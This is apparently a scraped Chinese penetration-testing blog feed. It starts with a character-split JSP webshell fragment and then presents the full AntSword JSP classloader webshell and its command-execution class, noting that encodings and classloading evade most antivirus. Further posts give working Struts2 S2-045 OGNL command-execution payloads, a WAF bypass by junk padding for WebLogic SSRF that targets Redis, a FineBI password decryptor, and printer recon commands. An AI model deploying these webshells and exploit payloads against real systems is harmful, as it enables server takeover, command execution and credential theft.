]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[i]]><![CDATA[o]]><![CDATA[.]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[A]]><![CDATA[r]]><![CDATA[r]]><![CDATA[a]]><![CDATA[y]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[p]]><![CDATA[u]]><![CDATA[t]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[e]]><![CDATA[a]]><![CDATA[m]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[f]]><![CDATA[=]]><![CDATA[(]]><![CDATA[(]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[)]]><![CDATA[s]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[A]]><![CDATA[t]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[b]]><![CDATA[u]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[p]]><![CDATA[a]]><![CDATA[y]]><![CDATA[l]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA["]]><![CDATA[)]]><![CDATA[)]]><![CDATA[.]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[f]]><![CDATA[.]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[a]]><![CDATA[l]]><![CDATA[s]]><![CDATA[(]]><![CDATA[a]]><![CDATA[r]]><![CDATA[r]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[)]]><![CDATA[;]]><![CDATA[f]]><![CDATA[.]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[a]]><![CDATA[l]]><![CDATA[s]]><![CDATA[(]]><![CDATA[p]]><![CDATA[a]]><![CDATA[g]]><![CDATA[e]]><![CDATA[C]]><![CDATA[o]]><![CDATA[n]]><![CDATA[t]]><![CDATA[e]]><![CDATA[x]]><![CDATA[t]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[s]]><![CDATA[p]]><![CDATA[o]]><![CDATA[n]]><![CDATA[s]]><![CDATA[e]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[W]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[w]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[.]]><![CDATA[s]]><![CDATA[u]]><![CDATA[b]]><![CDATA[s]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[0]]><![CDATA[,]]><![CDATA[1]]><![CDATA[6]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[f]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[s]]><![CDATA[p]]><![CDATA[o]]><![CDATA[n]]><![CDATA[s]]><![CDATA[e]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[W]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[w]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[x]]><![CDATA[(]]><![CDATA[a]]><![CDATA[r]]><![CDATA[r]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[A]]><![CDATA[r]]><![CDATA[r]]><![CDATA[a]]><![CDATA[y]]><![CDATA[(]]><![CDATA[)]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[r]]><![CDATA[u]]><![CDATA[e]]><![CDATA[)]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[s]]><![CDATA[p]]><![CDATA[o]]><![CDATA[n]]><![CDATA[s]]><![CDATA[e]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[W]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[w]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[.]]><![CDATA[s]]><![CDATA[u]]><![CDATA[b]]><![CDATA[s]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[1]]><![CDATA[6]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[{]]><![CDATA[}]]></jsp:scriptlet></jsp:root>

ClassLoad

现阶段大部分java类型的shell（蚁剑、冰蝎、哥斯拉等）都是通过classLoad的方式去动态加载，相对以前的大马体积小了很多。

蚁剑

这里以蚁剑为例。首先看一下蚁剑jsp类型的webshell

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
      Class base64;
      byte[] value = null;
      try {
        base64=Class.forName("sun.misc.BASE64Decoder");
        Object decoder = base64.newInstance();
        value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
      } catch (Exception e) {
        try {
          base64=Class.forName("java.util.Base64");
          Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
          value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
        } catch (Exception ee) {}
      }
      return value;
    }
%>
<%
    String cls = request.getParameter("ant");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(new Object[]{request,response});
    }
%>

整体逻辑获取ant参数值，判断ant参数值是否为空。不为空，将其base64解码，通过defineClass、getClassLoader等将其动态加载执行。
通过代理将蚁剑请求流量代理到BurpSuite，可直接将ant的参数值使用工具解码出来。

antSwordProxy

也可以直接查看原始文件，路径source/core/jsp/template/command.js
antSwordCommand

import command.Exec;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class Exec {
  public HttpServletRequest request = null;
  
  public HttpServletResponse response = null;
  
  public String encoder = "base64";
  
  public String cs = "antswordCharset";
  
  public String randomPrefix = "antswordrandomPrefix";
  
  public String decoderClassdata;
  
  public boolean equals(Object paramObject) {
    parseObj(paramObject);
    StringBuffer stringBuffer = new StringBuffer();
    String str1 = "->|";
    String str2 = "|<-";
    String str3 = "antswordargbin";
    String str4 = "antswordargcmd";
    String str5 = "antswordargenv";
    String str6 = "antswordargdecoder";
    try {
      this.response.setContentType("text/html");
      this.request.setCharacterEncoding(this.cs);
      this.response.setCharacterEncoding(this.cs);
      String str7 = decode(this.request.getParameter(str3));
      String str8 = decode(this.request.getParameter(str4));
      String str9 = decode(this.request.getParameter(str5));
      this.decoderClassdata = decode(this.request.getParameter(str6));
      stringBuffer.append(ExecuteCommandCode(str7, str8, str9));
    } catch (Exception exception) {
      stringBuffer.append("ERROR:// " + exception.toString());
    } 
    try {
      this.response.getWriter().print(str1 + asoutput(stringBuffer.toString()) + str2);
    } catch (Exception exception) {}
    return true;
  }
  
  String decode(String paramString) throws Exception {
    int i = 0;
    try {
      i = Integer.parseInt(this.randomPrefix);
      paramString = paramString.substring(i);
    } catch (Exception exception) {
      i = 0;
    } 
    if (this.encoder.equals("hex")) {
      if (paramString == null || paramString.equals(""))
        return ""; 
      String str1 = "0123456789ABCDEF";
      paramString = paramString.toUpperCase();
      ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(paramString.length() / 2);
      String str2 = "";
      for (byte b = 0; b < paramString.length(); b += 2) {
        str2 = str2 + (str1.indexOf(paramString.charAt(b)) << 4 | str1.indexOf(paramString.charAt(b + 1))) + ",";
        byteArrayOutputStream.write(str1.indexOf(paramString.charAt(b)) << 4 | str1.indexOf(paramString.charAt(b + 1)));
      } 
      return byteArrayOutputStream.toString(this.cs);
    } 
    if (this.encoder.equals("base64"))
      return new String(Base64DecodeToByte(paramString), this.cs); 
    return paramString;
  }
  
  public String ExecuteCommandCode(String paramString1, String paramString2, String paramString3) throws Exception {
    StringBuffer stringBuffer = new StringBuffer();
    String[] arrayOfString1 = { paramString1, !isWin() ? "-c" : "/c", paramString2 };
    Map<String, String> map = System.getenv();
    HashMap<String, String> hashMap = new HashMap<String, String>(map);
    String[] arrayOfString2 = paramString3.split("\\|\\|\\|asline\\|\\|\\|");
    for (byte b1 = 0; b1 < arrayOfString2.length; b1++) {
      String[] arrayOfString = arrayOfString2[b1].split("\\|\\|\\|askey\\|\\|\\|");
      if (arrayOfString.length == 2)
        hashMap.put(arrayOfString[0], arrayOfString[1]); 
    } 
    String[] arrayOfString3 = new String[hashMap.size()];
    byte b2 = 0;
    for (String str : hashMap.keySet()) {
      arrayOfString3[b2] = str + "=" + (String)hashMap.get(str);
      b2++;
    } 
    Process process = Runtime.getRuntime().exec(arrayOfString1, arrayOfString3);
    CopyInputStream(process.getInputStream(), stringBuffer);
    CopyInputStream(process.getErrorStream(), stringBuffer);
    return stringBuffer.toString();
  }
  
  boolean isWin() {
    String str = System.getProperty("os.name");
    str = str.toLowerCase();
    return str.startsWith("win");
  }
  
  void CopyInputStream(InputStream paramInputStream, StringBuffer paramStringBuffer) throws Exception {
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(paramInputStream, this.cs));
    String str;
    while ((str = bufferedReader.readLine()) != null)
      paramStringBuffer.append(str + "\r\n"); 
    bufferedReader.close();
  }
  
  public void parseObj(Object paramObject) {
    if (paramObject.getClass().isArray()) {
      Object[] arrayOfObject = (Object[])paramObject;
      this.request = (HttpServletRequest)arrayOfObject[0];
      this.response = (HttpServletResponse)arrayOfObject[1];
    } else {
      try {
        Class<?> clazz = Class.forName("javax.servlet.jsp.PageContext");
        this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(paramObject, new Object[0]);
        this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(paramObject, new Object[0]);
      } catch (Exception exception) {
        if (paramObject instanceof HttpServletRequest) {
          this.request = (HttpServletRequest)paramObject;
          try {
            Field field1 = this.request.getClass().getDeclaredField("request");
            field1.setAccessible(true);
            HttpServletRequest httpServletRequest = (HttpServletRequest)field1.get(this.request);
            Field field2 = httpServletRequest.getClass().getDeclaredField("response");
            field2.setAccessible(true);
            this.response = (HttpServletResponse)field2.get(httpServletRequest);
          } catch (Exception exception1) {
            try {
              this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(paramObject, new Object[0]);
            } catch (Exception exception2) {}
          } 
        } 
      } 
    } 
  }
  
  public String asoutput(String paramString) {
    try {
      byte[] arrayOfByte = Base64DecodeToByte(this.decoderClassdata);
      Method method = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
      method.setAccessible(true);
      Class<T> clazz = (Class)method.invoke(getClass().getClassLoader(), new Object[] { arrayOfByte, Integer.valueOf(0), Integer.valueOf(arrayOfByte.length) });
      return clazz.getConstructor(new Class[] { String.class }).newInstance(new Object[] { paramString }).toString();
    } catch (Exception exception) {
      return paramString;
    } 
  }
  
  public byte[] Base64DecodeToByte(String paramString) {
    byte[] arrayOfByte = null;
    String str = System.getProperty("java.version");
    try {
      if (str.compareTo("1.9") >= 0) {
        Class<?> clazz = Class.forName("java.util.Base64");
        Object object = clazz.getMethod("getDecoder", new Class[0]).invoke((Object)null, new Object[0]);
        arrayOfByte = (byte[])object.getClass().getMethod("decode", new Class[] { String.class }).invoke(object, new Object[] { paramString });
      } else {
        Class<?> clazz = Class.forName("sun.misc.BASE64Decoder");
        arrayOfByte = (byte[])clazz.getMethod("decodeBuffer", new Class[] { String.class }).invoke(clazz.newInstance(), new Object[] { paramString });
      } 
      return arrayOfByte;
    } catch (Exception exception) {
      return new byte[0];
    } 
  }
}

总结

1.通过classLoad的方式，其实可以动态加载好几层；
2.结合不同编码、混合编码、classLoad基本可以绕过大部分查杀

]]> 安全 webshell Oracle-LOGON_AUDIT_TRIGGER限制 /archives/d36c1a86.html 在某次红蓝演练中遇到Oracle用户、密码正确，但无法连接提示没有权限。

分析

根据报错内容触发器SYS.LOGON_AUDIT_TRIGGER执行出错，查询对应材料可得知使用LOGON_AUDIT_TRIGGER是一个登录触发器（有登录行为及执行该触发器）。

解决

根据现有情况猜测，数据库服务端对登录行为进行审计。判断并限制登录用户跟登录来源是否匹配，如果不匹配即不允许登录。通过修改驱动属性解决，将驱动属性中的machine设置为客户端主机名，osuser设置为客户端登录的用户。

成功连接

]]> 安全渗透测试 Oracle Struts2另类命令执行 /archives/be483e67.html 在某次HW遇到了一个Struts2可以获取目录，但无法执行命令
Struts2RCE

流量代理

根据已知信息，现阶段可获取路径，代表该地方确实存在Struts2漏洞。通过将对应流量代理到BurpSuite。

Struts2-流量代理

过程Payload语句

根据代理获取的流量，获取其判断是否存在Struts S2-045（or S2-046）漏洞使用如下语句

# 判断漏洞是否存在，在响应包中添加头信息，内容为vul:vul
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vul','vul')}.multipart/form-data

# 判断漏洞是否存在，让服务器直接返回[tttpppppp111]信息
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('['+'tttpppppp'+'111]')).(#o.close())}"]

返回[tttpppppp111]数据
Struts2-漏洞判断-响应体返回
返回头vul:vul信息
Struts2-漏洞判断-响应头返回
获取目录信息、命令执行使用如下语句

# 目录获取语句
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#path=#req.getRealPath('/')).(#o.println(#path)).(#o.close())}

# 命令执行语句
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

目录获取

Struts2-路径获取
命令执行，截图为本地测试环境所以可成功执行命令。

Struts2-命令执行

通过对目标环境不断测试，发现出问题的语句为

org.apache.commons.io.IOUtils

去除问题语句，重写payload，让其可返回cmds参数值

# 去除org.apache.commons.io.IOUtils语句，根据路径获取语句修改，直接返回cmds参数值
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#cmds="testCMD").(#o.println(#cmds)).(#o.close())}

返回cmds参数值testCMD
Struts2-echoCMDS

最终Payload语句

根据上文已经可以直接输出对应数据，只需要将执行命令之后的结果通过该方式访问即可。结合命令执行的Payload语句，最终语句如下

# 完成语句改造，输出命令执行结果
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#cmd='whoami'). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#re=new java.io.InputStreamReader(#process.getInputStream())).(#ros=new java.io.BufferedReader(#re)).(#o.println(#ros.readLine())).(#o.close())}

命令执行结果输出

Struts2-命令执行输出
上述语句存在一个问题：如果命令执行结果存在多行，需要不断添加(#o.println(#ros.readLine()))。可通过如下语句获取命令执行存在多少行

#
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#cmd='whoami'). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#re=new java.io.InputStreamReader(#process.getInputStream())).(#ros=new java.io.BufferedReader(#re)).(#o.println(#ros.lines().count())).(#o.close())}

输出命令执行结果具体行数
Struts2-echoCount
根据查询到的资料，java可直接通过lambda或者collect输出。

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.ProcessBuilder;
import java.util.stream.Collectors;


public class cmdExec {
    public static void main(String[] args) throws IOException {
        ProcessBuilder pb = new ProcessBuilder("ls");
        Process process = pb.start();
        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        reader.lines().forEach(java.lang.System.out::println);
//        System.out.println(reader.lines().collect(Collectors.joining()));
    }
}

lambda输出
Struts2-lambdaECHO

collect输出会将所有数据去除换行，变成一行输出
Struts2-collectEcho
但是在ognl中无法这样操作，后续直接执行命令将shell反弹到cs，就没有继续深究了。

总结

1.这个算是一个比较奇葩的环境，服务器上lib存在commons.io依赖，但是在调用的出问题。猜测是依赖冲突导致；
2.针对现在能执行命令可结合echo写webshell，如果可出网并且无杀软可直接powershell等方式getshell；
3.针对现在命令执行结果只能输出一行的情况，可以将结果写入到web目录下一个文件中，直接访问获取，但这不是一个好方法。后续可以找个机会再看看ognl表达式。

]]> 安全渗透测试 Struts2 weblogic-ssrf-redis /archives/6201c371.html 最近遇到weblogic的目标，大部分漏洞都修复了，发现了存在ssrf，但是部署了WAF。无法直接利用，后面通过脏数据的方式绕过waf。对内网进行探测，发现redis，通过定时任务方式，但反弹失败。

访问目标系统，使用weblogicscan发现了uddiexplorer目录。但是直接访问uddiexplorer/SearchPublicRegistries.jsp发现页面为空白，查看网页源码信息，发现源码都被注释。拦截响应内容，将注释符号删除，可得到正常页面。这时候发送post请求，发现被waf拦截。

Bypass-waf

在post数据中添加任意参数，并填充数值为脏数据（约180W），可成功请求。通过uddiexplorer/SetupUDDIExplorer.jsp页面获取其内网地址。编写脚本探测内网信息。

if "content-type: null" in req.text:
        print("port is open:" + str(i))
    elif "addresses" in req.text:
        print('port not open:' + str(i))
    elif "text/html" in req.text:
        print("http server open:"+ str(i))
    else:
        print("It's filed:" + str(i))

跨了两个段之后，发现某台主机6379端口开放，发送反弹shell命令，页面成功回显命令回响。但是，未成功获取shell。原因可能是内网不通外网或者操作系统版本问题导致定时任务未成功写入。通过ssrf+dnslog验证内网是否可通外网，发现dnslog没接收到请求。因此，大概率为内网完全不通外网，导致shell无法反弹。

总结

本次关键点为waf绕过、redis服务探测。

WAF可使用脏数据填充方式绕过；
内网探测时需注意内外网是否互通情况；
ssrf可用dict、file、gopher等协议进行探测。在这里尝试了多种协议，使用file报错java.lang.ClassCastException: sun.net.www.protocol.file.FileURLConnection incompatible with java.net.HttpURLConnection;使用gopher报错java.lang.ClassCastException: sun.net.www.protocol.gopher.GopherURLConnection incompatible with java.net.HttpURLConnection;使用dict报错unknown protocol: dict。

]]> 安全渗透测试 ssrf woodpecker插件编写 /archives/ec517011.html 编写woodpecker帆软密码解密插件

编写

目录结构

├── pom.xml
├── src
│   ├── main
│   │   ├── java
│   │   │   └── me
│   │   │       └── gv7
│   │   │           └── woodpecker
│   │   │               ├── helper
│   │   │               │   ├── PasswdDecryptHelper.java
│   │   │               │   └── fineBIPasswordDcrypter.java
│   │   │               └── plugin
│   │   │                   └──WoodpeckerPluginManager.java
│   │   └── test
│   │       └── java
│   └── test
│       └── java
│           └── fineBIDecrypterTest.java
└── target
    ├── archive-tmp
    ├── classes
    │   └── me
    │       └── gv7
    │           └── woodpecker
    │               ├── helper
    │               │   ├── PasswdDecryptHelper.class
    │               │   └── fineBIPasswordDcrypter.class
    │               └── plugin
    │                   └── WoodpeckerPluginManager.class
    ├── generated-sources
    │   └── annotations
    └── maven-status
        └── maven-compiler-plugin
            └── compile
                └── default-compile
                    ├── createdFiles.lst
                    └── inputFiles.lst

27 directories, 10 files

WoodpeckerPluginManager.java

package me.gv7.woodpecker.plugin;

import me.gv7.woodpecker.helper.fineBIPasswordDcrypter;

public class WoodpeckerPluginManager implements IPluginManager{
    public void registerPluginManagerCallbacks(IPluginManagerCallbacks pluginManagerCallbacks) {
        fineBIPasswordDcrypter echoTextConverter = new fineBIPasswordDcrypter();
        pluginManagerCallbacks.registerHelperPlugin(echoTextConverter);
    }
}

fineBIPasswordDcrypter.java

package me.gv7.woodpecker.helper;

import me.gv7.woodpecker.plugin.*;
import java.util.ArrayList;
import java.util.List;

public class fineBIPasswordDcrypter implements IHelperPlugin {
    public static IHelperPluginCallbacks callbacks;
    public static IPluginHelper pluginHelper;

    public fineBIPasswordDcrypter() {
    }

    @Override
    public void HelperPluginMain(IHelperPluginCallbacks iHelperPluginCallbacks) {
        callbacks = iHelperPluginCallbacks;
        pluginHelper = callbacks.getPluginHelper();
        callbacks.setHelperPluginName("FineBI password Decrypter");
        callbacks.setHelperPluginVersion("0.1.0");
        callbacks.setHelperPluginAutor("hywell");
        callbacks.setHelperPluginDescription("帆软BI密码解密");
        List<IHelper> helperList = new ArrayList<>();
        helperList.add(new PasswdDecryptHelper());
        callbacks.registerHelper(helperList);
    }
}

PasswdDecryptHelper.java

package me.gv7.woodpecker.helper;

import com.fr.properties.finedb.DBPropertyCipher;
import me.gv7.woodpecker.plugin.IHelper;
import me.gv7.woodpecker.plugin.IArg;
import me.gv7.woodpecker.plugin.IArgsUsageBinder;
import me.gv7.woodpecker.plugin.IResultOutput;

import java.util.ArrayList;
import java.util.List;
import java.util.Map;

public class PasswdDecryptHelper implements IHelper {
    public PasswdDecryptHelper() {
    }

    public String getHelperTabCaption() {
        return "FineBI password Decrypter";
    }

    public IArgsUsageBinder getHelperCutomArgs() {
        IArgsUsageBinder argsUsageBinder = fineBIPasswordDcrypter.pluginHelper.createArgsUsageBinder();
        List<IArg> args = new ArrayList();
        IArg argPassword = fineBIPasswordDcrypter.pluginHelper.createArg();
        argPassword.setName("password");
        argPassword.setDefaultValue("NbqzauIuNWerl9wdI0o/k0bm0E+gY0eeTVTGnUFM4BlewX5/QHT/aZaVIRCLMTfNfuWVnePIo+C7" +
                "uPSLC7vfJORbYQf4dYG6DNHwgAFz0RVYPQX+BnWHvPofsvNmPaESpTE2o7cEUH711wihc0RAl/d9" +
                "0qUDfyNT/VecC3R2aj1hWwh/tmoXqm8qJd0FVrfy4rPK8gLEOt9pxY0iDSK9Wmlk6B8WEGl7DV9H" +
                "huMsgthuJnKZhVNajSW0FQjqBFq/TD3sKYhf8lFG1mBXPlqb/0wfQJI7KXzul7nykG0qJm/JR8B3" +
                "eQKd7/Q5W2TjUULl7B3IWoU/NTsZq/pq9O93ZQ==");
        argPassword.setDescription("需要解密的 password,需单行全部确认");
        argPassword.setRequired(true);
        args.add(argPassword);
        argsUsageBinder.setArgsList(args);

        return argsUsageBinder;
    }

    public void doHelp(Map<String, Object> customArgs, IResultOutput iResultOutput) throws Throwable {
        String password = (String) customArgs.get("password");
        password = password.replace("\\r\\n","\n").replace("\\n","\n").replace("\\=","=").replace("\n", "");
        try {
            String plainText = DBPropertyCipher.getInstance().decode(password);
            iResultOutput.successPrintln("Decrypt result:");
            iResultOutput.rawPrintln("\n" + plainText + "\n");
        } catch (Exception var6) {
            iResultOutput.errorPrintln(fineBIPasswordDcrypter.pluginHelper.getThrowableInfo(var6));
        }
    }

}

问题

maven打包出现未把帆软依赖打入jar中，使用maven-assembly-plugin解决

<build>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-assembly-plugin</artifactId>
        <version>3.3.0</version>
        <configuration>
          <descriptorRefs>
            <descriptorRef>jar-with-dependencies</descriptorRef>
          </descriptorRefs>
        </configuration>
      </plugin>
    </plugins>
  </build>

然后使用mvn compile assembly:single编译即可

]]> 安全渗透测试 woodpecker 安全-内网渗透测试（无DHCP） /archives/27b0f6e3.html 针对渗透，有句话很符合：只要思想不滑坡，办法总比问题多。

前言

好久没做过渗透测试，这次因为工作接触一个盲测的项目，特此记录一下。

特点

这次渗透只给了一个网口,没有DHCP服务，IP需要自己配置、系统IP需要自己去寻找。

渗透ing

获取IP

由于没有DHCP。所以需要知道自己处于什么网段。这个步骤主要通过wireshark来查看ARP包，基本可以知道所处的网段了。但是子网掩码需要自己一个个去猜，可以先从24位(255.255.255.0)开始，逐步递增。如果递增还是不行那就递减吧。

像这种ARP包，可以将IP地址配置为10.121.21.x，子网掩码配置成255.255.255.0。先看同网段IP是否可以访问，可以访问就配置网关，网关配置成10.121.21.254，再看10.121.X.X是否可以访问。

服务器探测

有了IP地址之后，就需要开始去寻找服务器地址了。可以先从C段开始快速探测，如果C段没有目标服务器的话，那就从B段下手。这个过程极其枯燥，建议使用工具：IISPutScanner、Advanced_ip_scanner。

总结

有了IP、服务器IP就跟平时渗透是一样的。这次难点在于没有DHCP，需要自己去配置对应的IP、寻找目标系统的IP。

]]> 安全渗透测试内网安全-打印机安全研究 /archives/90a5ee4a.html 只要你联网，那就有可能存在安全问题。俗称万物皆可’日’。

前言

打印机是现在办公环境中不可或缺的一个硬件设备,其本身存在很多安全问题。打印机服务有:FTP、Telnet、HTTP、PJL等。看到这么多服务，相信研究人员是非常高兴的。因为服务越多，安全隐患也越多。做安全研究最怕的就是服务很少、功能很少、端口不开放这些。
前段时间，由于工作的原因，对打印机安全进行研究与分析。整体流程为:识别打印机→识别服务→常见服务安全分析→打印机专用服务(PJL)安全分析。PJL命令文档可以在HP网站上找到，文档参考1、文档参考2。

识别打印机

识别打印机可以通过：SNMP发送特定oid识别、Web管理页面识别、PJL命令识别。这里我采用了PJL命令识别，通过向设备的9100端口发送PJL命令，根据返回信息来识别。

@PJL INFO ID

通过对打印机发送INFO ID(PJL命令)，打印机会返回其对应的型号。
识别.bmp

服务识别

识别服务的话,用nmap就可以了。可以使用全端口扫描来发现对应服务。

nmap -p 1-65535 -T4 -A -v targetIP

常见服务分析

打印机常见服务：Telnet、FTP、HTTP。

Telnet

打印机中Telnet基本都是默认密码或者是空密码。登录之后可以查看配置信息、操作打印机等等。

FTP

大部分打印机FTP默认密码或空密码。通过上传文件，文件会直接被打印。

HTTP

